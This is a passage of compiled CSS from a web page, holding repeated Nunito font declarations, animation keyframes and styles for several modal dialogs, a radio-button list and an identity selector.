@media (max-width: 727px) {
.modal-headerfooter .modal--content .modal--header {
padding: 25px;
font-size: 20px;
text-align: left;
border-top-left-radius: 0px;
border-top-right-radius: 0px; } }
.modal-headerfooter .modal--content .modal--footer {
width: 100%;
background-color: #e8ecf0;
border-bottom-left-radius: 10px;
border-bottom-right-radius: 10px;
text-align: center; }
@media (max-width: 727px) {
.modal-headerfooter .modal--content .modal--footer {
border-bottom-left-radius: 0px;
border-bottom-right-radius: 0px; } }
.modal-headerfooter .modal--content .modal--footer .modal--button-container {
padding-bottom: 30px;
padding-top: 30px; }
@media (max-width: 727px) {
.modal-headerfooter .modal--content .modal--footer .modal--button-container {
padding-left: 30px;
padding-right: 30px; } }
.modal-headerfooter .modal--content::-webkit-scrollbar {
display: none; }
.modal-headerfooter .modal--content {
-ms-overflow-style: none;
scrollbar-width: none; }
.modal-headerfooter .modal---background-white {
background-color: #ffffff; }
.modal-headerfooter .modal---background-sky {
background-color: #f0f4f9; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.list-radio__container {
-moz-column-count: 2;
-webkit-column-count: 2;
-moz-column-gap: 20px;
-webkit-column-gap: 20px;
column-count: 2;
column-gap: 20px; }
@media (max-width: 727px) {
.list-radio__container {
-moz-column-count: 1;
-webkit-column-count: 1;
column-count: 1; } }
.list-radio__container .container__input {
display: flex;
padding: 5px 0px; }
.list-radio__container .container__input .container__form {
position: relative; }
.list-radio__container .container__input .container__form input[type='radio'] {
width: 20px;
height: 20px;
visibility: hidden;
margin: 0; }
.list-radio__container .container__input .container__label .label {
font-family: NunitoSans-Regular;
font-size: 14px;
line-height: 20px;
color: #405768;
padding-left: 16px;
display: inline-block; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.identity__title {
display: flex;
align-items: center;
height: 56px;
margin-bottom: 16px; }
.identity__title h1 {
font-family: Nunito-Bold;
font-size: 18px;
line-height: 20px;
display: flex;
align-items: center;
color: #122e43; }
.identity__selected {
position: relative;
display: flex;
align-items: center;
height: 56px; }
.identity__selected .radio {
top: auto; }
.identity input[type='radio'] {
width: 20px;
height: 20px;
visibility: hidden;
margin: 0; }
.identity__reply {
font-family: NunitoSans-Regular;
font-size: 16px;
line-height: 16px;
color: #122e43;
margin-left: 14px;
cursor: pointer; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.modal-informative {
position: fixed;
top: 0;
left: 0;
background-color: rgba(0, 0, 0, 0.8);
width: 100%;
height: 100%;
display: flex;
justify-content: center;
align-items: center;
z-index: 9999;
opacity: 0;
visibility: hidden;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in; }
.modal-informative.modal--open {
height: 100%;
opacity: 1;
visibility: visible;
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.modal-informative.modal--close {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.modal-informative .modal--content {
width: 538px;
max-height: 558px;
background-color: #ffffff;
border-radius: 10px;
padding: 40px;
position: relative;
display: flex;
flex-direction: column;
align-items: center;
overflow-y: auto;
-webkit-transform: translateY(100%);
-moz-transform: translateY(100%);
-ms-transform: translateY(100%);
-o-transform: translateY(100%);
transform: translateY(100%); }
.modal-informative .modal--content.modal--open {
-webkit-transition: 0.5s;
-moz-transition: 0.5s;
-ms-transition: 0.5s;
-o-transition: 0.5s;
transition: 0.5s;
-webkit-transform: translateY(0);
-moz-transform: translateY(0);
-ms-transform: translateY(0);
-o-transform: translateY(0);
transform: translateY(0); }
.modal-informative .modal--content .modal--close-icon {
position: absolute;
width: 24px;
height: 24px;
top: 12px;
right: 12px;
cursor: pointer; }
.modal-informative .modal--content .modal--icon {
width: 256px;
height: 134px;
margin: 40px 0px 16px 0px; }
.modal-informative .modal--content h1 {
font-family: Nunito-Regular;
font-size: 22px;
line-height: 24px;
margin: 0 92px 16px 92px;
text-align: center; }
.modal-informative .modal--content h1.information {
color: #0169b5; }
.modal-informative .modal--content h1.success {
color: #04c532; }
.modal-informative .modal--content h1.warning {
color: #feb638; }
.modal-informative .modal--content h1.error {
color: #ff4858; }
.modal-informative .modal--content h3 {
font-family: Nunito-Regular;
font-size: 18px;
line-height: 24px;
margin: 0 0 8px 0;
color: #6e7f8d; }
.modal-informative .modal--content .modal__children {
font-family: Nunito-Regular;
font-size: 14px;
line-height: 18px;
margin-top: 16px;
margin-bottom: 0px;
color: #122e43; }
.modal-informative .modal--content .content-buttons {
display: flex;
margin-top: 20px; }
.modal-informative .modal--content .content-buttons .button--primary {
order: 1; }
.modal-informative .modal--content .content-buttons .button--secondary {
order: 0;
margin-right: 10px; }
.modal-informative .modal--content .modal--link {
display: none; }
@media (max-width: 727px) {
.modal-informative {
left: 0;
top: 0;
overflow: auto; }
.modal-informative.modal--open {
background: #ffffff; }
.modal-informative .modal--content {
width: auto;
position: fixed;
top: 0;
left: 0;
padding: 0 23px;
padding-bottom: 23px;
justify-content: center;
text-align: center;
border-radius: 0; }
.modal-informative .modal--content .modal--close-icon {
top: 20px; }
.modal-informative .modal--content .modal__icon {
margin: 50px 0px 16px 0px; }
.modal-informative .modal--content h1 {
margin: 0 0 16px 0; }
.modal-informative .modal--content .modal__children {
margin: 16px 0 0 0;
text-align: left; }
.modal-informative .modal--content .modal__children ul {
padding-left: 20px; }
.modal-informative .modal--content .content-buttons {
flex-direction: column;
margin-bottom: 65px; }
.modal-informative .modal--content .content-buttons .button--primary {
order: 0;
margin-bottom: 20px;
margin-top: 32px; }
.modal-informative .modal--content .content-buttons .button--secondary {
order: 1;
margin: 0; }
.modal-informative .modal--content .modal--link {
display: block;
color: #2d9cdb;
font-family: Nunito-Regular; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.modal-message {
position: fixed;
top: 0;
left: 0;
background-color: rgba(0, 0, 0, 0.8);
width: 100%;
height: 100%;
display: flex;
justify-content: center;
align-items: center;
z-index: 9999;
opacity: 0;
visibility: hidden; }
.modal-message.modal--open {
height: 100%;
-webkit-transition: .3s;
-moz-transition: .3s;
-ms-transition: .3s;
-o-transition: .3s;
transition: .3s;
opacity: 1;
visibility: visible; }
.modal-message.modal--close {
-webkit-transition: .3s;
-moz-transition: .3s;
-ms-transition: .3s;
-o-transition: .3s;
transition: .3s; }
.modal-message .modal--content {
width: 538px;
background-color: #ffffff;
border-radius: 10px;
padding: 40px;
position: relative;
display: flex;
flex-direction: column;
align-items: center; }
.modal-message .modal--content .modal--close-icon {
position: absolute;
width: 24px;
height: 24px;
top: 12px;
right: 12px;
cursor: pointer; }
.modal-message .modal--content .modal--icon {
width: 65px;
height: 65px;
margin-bottom: 40px; }
.modal-message .modal--content h1 {
font-family: Nunito-Regular;
font-size: 22px;
line-height: 24px;
margin: 0 0 16px 0; }
.modal-message .modal--content h1.information {
color: #0169b5; }
.modal-message .modal--content h1.success {
color: #04c532; }
.modal-message .modal--content h1.warning {
color: #feb638; }
.modal-message .modal--content h1.error {
color: #ff4858; }
.modal-message .modal--content h3 {
font-family: Nunito-Regular;
font-size: 18px;
line-height: 24px;
margin: 0 0 8px 0;
color: #6e7f8d; }
.modal-message .modal--content span {
font-family: Nunito-Light;
font-size: 14px;
line-height: 14px;
margin: 0 0 32px 0;
color: #6e7f8d; }
.modal-message .modal--content .content-buttons {
display: flex; }
.modal-message .modal--content .content-buttons .button--primary {
order: 1; }
.modal-message .modal--content .content-buttons .button--secondary {
order: 0;
margin-right: 10px; }
.modal-message .modal--content .modal--link {
color: #2d9cdb;
font-family: Nunito-Regular;
cursor: pointer; }
@media (max-width: 727px) {
.modal-message {
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in;
-webkit-transform: translateY(100%);
-moz-transform: translateY(100%);
-ms-transform: translateY(100%);
-o-transform: translateY(100%);
transform: translateY(100%);
left: 0;
top: 0; }
.modal-message.modal--open {
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
-webkit-transform: translateY(0);
-moz-transform: translateY(0);
-ms-transform: translateY(0);
-o-transform: translateY(0);
transform: translateY(0); }
.modal-message .modal--content {
width: auto;
height: 100%;
position: fixed;
top: 0;
left: 0;
padding: 0 35px;
justify-content: center;
text-align: center;
border-radius: 0; }
.modal-message .modal--content .modal--close-icon {
top: 20px; }
.modal-message .modal--content .content-buttons {
flex-direction: column;
margin-bottom: 70px; }
.modal-message .modal--content .content-buttons .button--primary {
order: 0;
margin-bottom: 20px; }
.modal-message .modal--content .content-buttons .button--secondary {
order: 1;
margin: 0; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.modal-popover {
position: fixed;
width: 100%;
top: 0;
left: 0;
padding: 70px 0;
font-size: 14px;
line-height: 18px;
font-family: Nunito-Regular;
z-index: 9999;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in;
-webkit-transform: translateY(100%);
-moz-transform: translateY(100%);
-ms-transform: translateY(100%);
-o-transform: translateY(100%);
transform: translateY(100%);
opacity: 0;
visibility: hidden; }
.modal-popover.modal--light {
background-color: #ffffff;
color: #122e43; }
.modal-popover.modal--dark {
background-color: #122e43;
color: #ffffff; }
.modal-popover.modal--open {
height: 100%;
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
-webkit-transition: .3s;
-moz-transition: .3s;
-ms-transition: .3s;
-o-transition: .3s;
transition: .3s;
-webkit-transform: translateY(0);
-moz-transform: translateY(0);
-ms-transform: translateY(0);
-o-transform: translateY(0);
transform: translateY(0);
opacity: 1;
visibility: visible; }
.modal-popover.modal--close {
-webkit-transition: .3s;
-moz-transition: .3s;
-ms-transition: .3s;
-o-transition: .3s;
transition: .3s; }
.modal-popover h1 {
font-size: 18px;
line-height: 18px;
text-align: center;
font-family: Nunito-Regular;
margin-bottom: 40px;
font-weight: normal; }
.modal-popover div {
display: flex;
justify-content: space-between; }
.modal-popover .modal--close-icon {
position: absolute;
width: 24px;
height: 24px;
top: 12px;
right: 12px;
cursor: pointer; }
.modal-popover .modal-popover__content {
padding: 0 100px;
display: flex;
justify-content: center; }
@media (max-width: 727px) {
.modal-popover {
padding: 0;
display: flex;
justify-content: center;
align-items: center;
flex-direction: column; }
.modal-popover div {
flex-direction: column; }
.modal-popover div :first-child {
margin-bottom: 20px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
